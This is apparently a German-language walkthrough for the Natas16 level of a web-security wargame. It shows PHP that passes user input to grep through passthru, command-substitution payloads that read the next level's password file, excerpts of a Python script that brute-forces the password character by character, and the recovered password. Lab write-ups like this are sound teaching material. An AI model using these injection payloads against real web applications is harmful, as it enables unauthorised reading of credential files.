Enumeration

Natas16 ist eine sicherere Version von Natas10.

Der Parameter $key darf nun insbesondere weder Doublequotes (") noch Backslashes (\) enthalten, bevor er an grep übergeben wird

Zudem ist $key von Doublequotes (") umgeben

  if($key != "") {
      if(preg_match('/[;|&`\'"]/',$key)) {
          print "Input contains an illegal character!";
      } else {
          passthru("grep -i \"$key\" dictionary.txt");
      }
  }

Exploitation

Aus den Doublequotes (") können wir nicht ausbrechen, auch nicht mit Zeichencodes (\x22)
Immerhin bleiben uns die Zeichen $() für Command Substitution. Damit können wir den Output eines beliebigen Befehls als Pattern für grep übergeben

grep

Mit einem inneren grep prüfen wir, ob beispielsweise der Buchstabe A im Kennwort vorkommt

  grep -i "$(grep A /etc/natas_webpass/natas17)African" dictionary.txt

Wenn der innere grep etwas findet, wird dadurch der äussere grep fehlschlagen
```
 Output:
 <pre>
 </pre>
```
Wenn hingegen der innere grep nichts findet, wird der äussere grep erfolgreich sein
```
 Output:
 <pre>
 African
 </pre>
```

Ähnlich wie bei einer Blind SQL Injection liessen sich nun basierend auf dem jeweiligen Output

alle möglichen Zeichen ermitteln und
diese dann mittels Regex ^... (beginnt mit …) durchprobieren

cut

Es ist deutlich effektiver, statt eines inneren grep einen inneren cut zu verwenden. Anstelle also zu prüfen, ob ein Zeichen im Kennwort vorkommt, lassen wir direkt beispielsweise das erste Zeichen zurückgeben

grep -i "^$(cut -c1 /etc/natas_webpass/natas17)" dictionary.txt

Dennoch müssen wir hier zur genaueren Bestimmung auf die ursprüngliche Variante mit einem inneren grep zurückgreifen:

Buchstaben: In der Datei dictionary.txt gibt es für jeden Buchstaben mindestens ein Wort, das mit dem jeweiligen Buchstaben beginnt. Wir wissen aber nicht, ob der zurückgegebene Buchstabe gross- oder kleingeschrieben ist (grep -i, case-insensitive)
Ziffern: Sollten im Kennwort Ziffern vorkommen, könnten wir dies nicht feststellen, da sie in der Datei dictionary.txt gänzlich fehlen. Die Idee, das Kennwort vor der Extraktion zur Basis 26 (oder tiefer) zu codieren, um lediglich Buchstaben vorzufinden, habe ich nicht weiter verfolgt.

Python Script

Demo | natas16-solution.py
Demo | natas16-solution-debug.py

Das Script braucht weniger als 100 Versuche, um das Kennwort herauszufinden

#
0123456789
0
3
5
7
8
  p
  P
    s
    s
      #
      0
      3
        h
        H
          #
          0
            g
            G
              w
              W
                b
                b
                  n
                  n
                    #
                    0
                    3
                    5
                      r
                      r
                        d
                        d
                          #
                          0
                          3
                          5
                          7
                          8
                          9
                            s
                            S
                              #
                              0
                              3
                              5
                              7
                                g
                                G
                                  m
                                  m
                                    a
                                    A
                                      d
                                      d
                                        g
                                        g
                                          q
                                          Q
                                            n
                                            N
                                              d
                                              d
                                                k
                                                k
                                                  h
                                                  h
                                                    p
                                                    P
                                                      k
                                                      k
                                                        q
                                                        q
                                                          #
                                                          0
                                                          3
                                                          5
                                                          7
                                                          8
                                                          9
                                                            c
                                                            c
                                                              w
                                                              w
095

requests: 95
password: 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw

Es probiert jeweils erst mit cut die Zeichen direkt zu extrahieren

while (pw_current_char := get_positional_character(i)) is not None:

Im Erfolgsfall muss nur noch mit grep geprüft werden, ob der kleingeschriebene Buchstabe nicht doch grossgeschrieben ist

    # successful positional extraction?
    if pw_current_char:
        # ascii letter is not case-sensitive because of 'grep -i', verification needed
        if not get_first_matching_character('^' + ''.join(pw), pw_current_char, True):
            # lowercase character does not match password
            pw_current_char = pw_current_char.upper()

Andernfalls wird es sich um ein Zeichen handeln, welches in der Datei dictionary.txt nicht vorkommt: eine Ziffer. Einmalig müssen nun die im Kennwort verwendeten Ziffern ermittelt werden. Dem soweit bekannten Kennwort werden nun die ermittelten Ziffern jeweils hinten angefügt und mit grep durchprobiert

    else:
        # extraction failed, because character at specific position is not in the dictionary
        # e.g. if password starts with a number, it cannot be found in the output

        # for easier brute force, we first verify which characters are used in the password at all
        if not verified_chars:
            for c in string.digits:
                # digit does match password?
                if get_first_matching_character('', c):
                    verified_chars.append(c)

        # brute force with verified characters
        pw_current_char = get_first_matching_character('^' + ''.join(pw), verified_chars)

Enumeration

Exploitation

grep

cut

Python Script

Links